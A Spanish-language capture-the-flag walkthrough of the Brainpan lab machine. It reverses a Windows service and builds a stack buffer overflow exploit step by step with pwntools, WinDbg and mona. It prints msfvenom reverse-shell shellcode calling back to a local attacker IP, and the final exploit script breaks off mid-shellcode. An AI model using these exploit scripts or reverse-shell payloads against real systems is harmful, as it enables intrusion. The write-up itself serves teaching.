Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
, aunque realmente solo encontramos 2 puertos abiertos, el 9999
y el 10000
❯ nmap 192.168.100.2
Nmap scan report for 192.168.100.2
PORT STATE SERVICE
9999/tcp open abyss
10000/tcp open snet-sensor-mgmt
Al conectarnos con al puerto 9999
vemos programa que nos pide una contraseña
❯ netcat 192.168.100.2 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Si enviamos una contraseña incorrecta nos devuelve ACCESS DENIED
y termina
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> 1234
ACCESS DENIED
El puerto 10000
corre un servicio http
, que en el index tiene solo una imagen que nos habla de vulnerabilidades comunes y tal, pero no nos aporta demasiado
Podemos usar wfuzz
para aplicar fuerza bruta y encontramos un directorio /bin
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.2:10000/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.2:10000/FUZZ
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000854: 301 0 L 0 W 0 Ch "bin"
Si lo miramos desde el navegador podemos ver que tenemos capacidad de listar recursos, este directorio nos comparte un archivo llamado brainpan.exe
Como es un archivo exe
podemos pasarlo a una máquina windows
y ejecutarlo, al hacerlo solo nos dice que se pone en espera de conexiones por el puerto 9999
PS C:\Users\user\Desktop> .\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.
Nos podemos conectar con netcat
al puerto 9999
esta vez usando como direccion la ip de nuestra maquina windows
y vemos la misma aplicación de antes
❯ netcat 192.168.100.5 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>>
Para entender su funcionamiento podemos desensamblarlo con IDA
, iniciamos con la función main()
, esta inicia definiendo los offsets para varias strings, luego de mostrar un mensaje con printf
inicializa winsock llamando a la función WSAStartup
Luego llama a socket
para crear un socket y utiliza htons
para darle formato al puerto, después llama a la función bind
para vincular el socket a la dirección
En el siguiente bloque llama a listen
para ponerse en escucha en el puerto especificado en este caso el 9999
y muestra con printf
que esta en escucha de conexiones, luego llama a accept
para aceptar las conexiones entrantes
Una vez recibe una nueva conexión llama a recv
para recibir un buffer previamente asignado con memset
, una vez recibe los datos llama a la función get_reply
a la que como argumento le pasa el buffer recibido, es personalizada asi que la analizaremos
La función get_reply
recibe el buffer como argumento y utiliza strcpy
para copiarlo a un destino que setea en ebp - 520
, luego compara lo que acaba de copiar con la cadena shitstorm\n
utilizando strcmp
para saber si devolver true
o false
Nos conectamos al puerto 9999
y enviamos la cadena shitstorm
que encontramos, sin embargo aunque nos devuelve ACCESS GRANTED
el programa termina ahi
❯ netcat 192.168.100.2 9999
_| _|
_|_|_| _| _|_| _|_|_| _|_|_| _|_|_| _|_|_| _|_|_|
_| _| _|_| _| _| _| _| _| _| _| _| _| _| _|
_| _| _| _| _| _| _| _| _| _| _| _| _| _|
_|_|_| _| _|_|_| _| _| _| _|_|_| _|_|_| _| _|
_|
_|
[________________________ WELCOME TO BRAINPAN _________________________]
ENTER THE PASSWORD
>> shitstorm
ACCESS GRANTED
Buffer Overflow - Stack Based
Para poder debuggear el ejecutable ejecutaremos la aplicación dentro WinDbg
Iniciaremos por llenar con A's
los 520
bytes que se reservaron antes de ebp
, luego 4 B's
bytes que van a sobrescribir el valor de ebp
en el leave
, y luego 4 C's
que van a sobrescribir el return address, finalmente algunas D's
para guardar en el stack
#!/usr/bin/python3
from pwn import remote
payload = b""
payload += b"A" * 520
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 40
shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)
Luego de enviar el exploit podemos ver que ebp
toma el valor 0x42424242
que equivale a 4 B's
en hexadecimal y el eip
toma el valor de retorno que son las C's
, también vemos las D's que enviamos en el stack, concluimos el offset al return address son 524
bytes y que nuestra data que sigue se guarda en el stack
❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999
0:000> g
(243c.26c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=002d8000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=43434343 esp=005ff910 ebp=42424242 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
43434343 ?? ???
0:000> r ebp
ebp=42424242
0:000> r eip
eip=43434343
0:000> db esp
005ff910 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
005ff920 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
005ff930 44 44 44 44 44 44 44 44-0a 00 00 00 10 00 00 00 DDDDDDDD........
005ff940 45 ff ff ff 98 33 6e 00-03 00 00 05 12 00 00 00 E....3n.........
005ff950 02 00 9a 5a c0 a8 64 49-00 00 00 00 00 00 00 00 ...Z..dI........
005ff960 02 00 27 0f 00 00 00 00-00 00 00 00 18 00 00 00 ..'.............
005ff970 90 00 00 00 00 00 00 00-60 01 00 00 58 01 00 00 ........`...X...
005ff980 02 02 02 02 57 69 6e 53-6f 63 6b 20 32 2e 30 00 ....WinSock 2.0.
Lo siguiente sera detectar badchars
por lo que con mona
crearemos una lista con todos los caracteres posibles, esto nos creara un archivo txt
y un bin
0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
Modificaremos el script para que en el stack luego del return address se guarden los posibles badchars, luego compararemos en el debugger si se alteraron los bytes
#!/usr/bin/python3
from pwn import remote
offset = 524
junk = b"A" * offset
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b""
payload += junk
payload += b"B" * 4
payload += badchars
shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)
Lo siguiente es con mona
comparar el .bin
que nos creo con la dirección del esp
actual, como resultado nos muestra que se corrompe despues de 1
byte quiere decir que el 00
esta corrompiendo el resto de caracteres que estan delante de el
0:000> g
(f04.250c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=003e9000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=42424242 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
42424242 ?? ???
0:000> !py mona compare -f bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py compare -f bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 256 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 256 bytes successfully from C:\mona\bytearray.bin
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x005ff910 | [+] Comparing with memory at location : 0x005ff910 (Stack)
0x005ff910 | Only 1 original bytes of 'normal' code found.
0x005ff910 | ,-----------------------------------------------.
0x005ff910 | | Comparison results: |
0x005ff910 | |-----------------------------------------------|
0x005ff910 | 0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x005ff910 | | fb 5f 00 30 fb 5f 00 e8 03 00 00 00 00 00 00| Memory
0x005ff910 | 10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x005ff910 | |00 00 8c 00 70 00 00 00 01 00 00 00 00 00 8c 00| Memory
0x005ff910 | 20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x005ff910 | |48 20 00 00 0f 00 00 00 00 00 00 00 10 00 00 00| Memory
0x005ff910 | 30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x005ff910 | |00 00 00 00 68 69 8c 00 03 00 00 05 10 00 00 00| Memory
0x005ff910 | 40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x005ff910 | |02 00 dd 34 c0 a8 64 49 00 00 00 00 00 00 00 00| Memory
0x005ff910 | 50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x005ff910 | |02 00 27 0f 00 00 00 00 00 00 00 00 0f 00 00 00| Memory
0x005ff910 | 60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x005ff910 | |90 00 00 00 00 00 00 00 34 01 00 00 3c 01 00 00| Memory
0x005ff910 | 70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x005ff910 | |02 02 02 02 57 69 6e 53 6f 63 6b 20 32 2e 30 00| Memory
0x005ff910 | 80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x005ff910 | |48 66 8c 00 03 00 00 00 00 00 8c 00 4c 00 8c 00| Memory
0x005ff910 | 90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x005ff910 | |60 69 8c 00 00 00 8c 00 14 00 04 10 14 00 00 00| Memory
0x005ff910 | a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x005ff910 | |f8 fa 5f 00 a1 09 78 77 01 00 00 00 68 69 8c 00| Memory
0x005ff910 | b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x005ff910 | |14 00 00 00 36 0c 78 77 45 44 d0 11 60 69 8c 00| Memory
0x005ff910 | c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x005ff910 | |00 00 8c 00 00 00 00 00 01 00 00 00 14 00 00 00| Memory
0x005ff910 | d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x005ff910 | |68 69 8c 00 00 00 00 00 a5 45 d0 04 60 69 01 00| Memory
0x005ff910 | e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x005ff910 | |00 00 8c 00 f8 69 8c 00 95 fb 0b 66 63 69 8c 00| Memory
0x005ff910 | f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x005ff910 | |1a 00 07 1d 62 69 8c 00 98 66 8c 00 14 00 00 00| Memory
0x005ff910 | `-----------------------------------------------'
0x005ff910 |
0x005ff910 | | File | Memory | Note
0x005ff910 | -------------------------------------------------
0x005ff910 | 0 0 1 1 | 00 | 00 | unmodified!
0x005ff910 | 1 1 255 255 | 01 ... ff | fb ... 00 | corrupted
0x005ff910 |
0x005ff910 | Possibly bad chars: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
0x005ff910 |
Creamos un nuevo bytearray
esta vez quitando el \x00
que vimos es un badchar
0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
Modificamos el script ahora con el nuevo bytearray
que no incluye el caracter \x00
#!/usr/bin/python3
from pwn import remote
offset = 524
junk = b"A" * offset
badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b""
payload += junk
payload += b"B" * 4
payload += badchars
shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)
Enviamos y al volver a hacer el mona compare
podemos ver unmodified
quiere decir que todos los caracteres enviados se procesaron correctamente en el programa
0:000> g
(a80.12a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=003f6000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=42424242 esp=005ff910 ebp=41414141 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
42424242 ?? ???
0:000> !py mona compare -f bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py compare -f bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 255 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 255 bytes successfully from C:\mona\bytearray.bin
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x005ff910 | [+] Comparing with memory at location : 0x005ff910 (Stack)
0x005ff910 | !!! Hooray, normal shellcode unmodified !!!
0x005ff910 | Bytes omitted from input: 00
Listando los modulos con mona
encontramos que solo esta brainpan.exe
sin nunguna proteccion, asi que podemos inyectar shellcode
malicioso en la pila
0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules
[+] Processing arguments and criteria
- Pointer access level : X
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------------
Module info :
----------------------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | CFG | NXCompat | OS Dll | Modulename & Pathname
----------------------------------------------------------------------------------------------------------------------------------------------------
0x76b10000 | 0x76d92000 | 0x00282000 | True | False | True | True | True | True | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
0x72e80000 | 0x72ed1000 | 0x00051000 | True | False | True | True | True | True | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
0x76880000 | 0x76970000 | 0x000f0000 | True | False | True | True | True | True | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
0x31170000 | 0x31176000 | 0x00006000 | False | False | False | False | False | False | [brainpan.exe] (C:\Users\user\Desktop\brainpan.exe)
0x756b0000 | 0x75774000 | 0x000c4000 | True | False | True | True | True | True | [msvcrt.dll] (C:\Windows\SysWOW64\msvcrt.dll)
0x77730000 | 0x778e2000 | 0x001b2000 | True | False | True | True | True | True | [ntdll.dll] (ntdll.dll)
0x76970000 | 0x76a2a000 | 0x000ba000 | True | False | True | True | True | True | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
0x75360000 | 0x753bf000 | 0x0005f000 | True | False | True | True | True | True | [WS2_32.DLL] (C:\Windows\SysWOW64\WS2_32.DLL)
----------------------------------------------------------------------------------------------------------------------------------------------------
[+] Preparing output file 'modules.txt'
- (Re)setting logfile C:\mona\modules.txt
Sabemos que el resto de los datos se guardan en el stack, para que se interprete necesitamos un gadget que ejecute la instrucción jmp esp
o una equivalente
0:000> !py mona jmp -r esp -m brainpan.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py jmp -r esp -m brainpan.exe
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules brainpan.exe
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module brainpan.exe
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
- Number of pointers of type 'jmp esp' : 1
[+] Results :
0x311712f3 | 0x311712f3 : jmp esp | {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\user\Desktop\brainpan.exe)
Found a total of 1 pointers
Finalmente solo necesitamos el shellcode que se interpretará al saltar al stack, podemos crear uno facilmente con msfvenom
que nos envie una revshell, esto indicando los badchars para que el shellcode no los tenga y evite problemas
❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xda\xd8\xd9\x74\x24\xf4\xbb\xf4\x3a\xcb\xbd"
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x5d\x13"
shellcode += b"\x03\xa9\x29\x29\x48\xad\xa6\x2f\xb3\x4d\x37"
shellcode += b"\x50\x3d\xa8\x06\x50\x59\xb9\x39\x60\x29\xef"
shellcode += b"\xb5\x0b\x7f\x1b\x4d\x79\xa8\x2c\xe6\x34\x8e"
shellcode += b"\x03\xf7\x65\xf2\x02\x7b\x74\x27\xe4\x42\xb7"
shellcode += b"\x3a\xe5\x83\xaa\xb7\xb7\x5c\xa0\x6a\x27\xe8"
shellcode += b"\xfc\xb6\xcc\xa2\x11\xbf\x31\x72\x13\xee\xe4"
shellcode += b"\x08\x4a\x30\x07\xdc\xe6\x79\x1f\x01\xc2\x30"
shellcode += b"\x94\xf1\xb8\xc2\x7c\xc8\x41\x68\x41\xe4\xb3"
shellcode += b"\x70\x86\xc3\x2b\x07\xfe\x37\xd1\x10\xc5\x4a"
shellcode += b"\x0d\x94\xdd\xed\xc6\x0e\x39\x0f\x0a\xc8\xca"
shellcode += b"\x03\xe7\x9e\x94\x07\xf6\x73\xaf\x3c\x73\x72"
shellcode += b"\x7f\xb5\xc7\x51\x5b\x9d\x9c\xf8\xfa\x7b\x72"
shellcode += b"\x04\x1c\x24\x2b\xa0\x57\xc9\x38\xd9\x3a\x86"
shellcode += b"\x8d\xd0\xc4\x56\x9a\x63\xb7\x64\x05\xd8\x5f"
shellcode += b"\xc5\xce\xc6\x98\x2a\xe5\xbf\x36\xd5\x06\xc0"
shellcode += b"\x1f\x12\x52\x90\x37\xb3\xdb\x7b\xc7\x3c\x0e"
shellcode += b"\x2b\x97\x92\xe1\x8c\x47\x53\x52\x65\x8d\x5c"
shellcode += b"\x8d\x95\xae\xb6\xa6\x3c\x55\x51\x09\x68\x31"
shellcode += b"\xe8\xe1\x6b\xb9\xeb\x4a\xe2\x5f\x81\xbc\xa3"
shellcode += b"\xc8\x3e\x24\xee\x82\xdf\xa9\x24\xef\xe0\x22"
shellcode += b"\xcb\x10\xae\xc2\xa6\x02\x47\x23\xfd\x78\xce"
shellcode += b"\x3c\x2b\x14\x8c\xaf\xb0\xe4\xdb\xd3\x6e\xb3"
shellcode += b"\x8c\x22\x67\x51\x21\x1c\xd1\x47\xb8\xf8\x1a"
shellcode += b"\xc3\x67\x39\xa4\xca\xea\x05\x82\xdc\x32\x85"
shellcode += b"\x8e\x88\xea\xd0\x58\x66\x4d\x8b\x2a\xd0\x07"
shellcode += b"\x60\xe5\xb4\xde\x4a\x36\xc2\xde\x86\xc0\x2a"
shellcode += b"\x6e\x7f\x95\x55\x5f\x17\x11\x2e\xbd\x87\xde"
shellcode += b"\xe5\x05\xb7\x94\xa7\x2c\x50\x71\x32\x6d\x3d"
shellcode += b"\x82\xe9\xb2\x38\x01\x1b\x4b\xbf\x19\x6e\x4e"
shellcode += b"\xfb\x9d\x83\x22\x94\x4b\xa3\x91\x95\x59"
Nuestro exploit final llena con 524 A's
el espacio que existe antes de sobrescribir el return address que se sobrescribe con un gadget que ejecuta un jmp esp
y al estar el shellcode que creamos en el stack cuando salta nos envia una revshell
#!/usr/bin/python3
from pwn import remote, p32
offset = 524
junk = b"A" * offset
shellcode = b""
shellcode += b"\xda\xd8\xd9\x74\x24\xf4\xbb\xf4\x3a\xcb\xbd"
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x5d\x13"
shellcode += b"\x03\xa9\x29\x29\x48\xad\xa6\x2f\xb3\x4d\x37"
shellcode += b"\x50\x3d\xa8\x06\x50\x59\xb9\x39\x60\x29\xef"
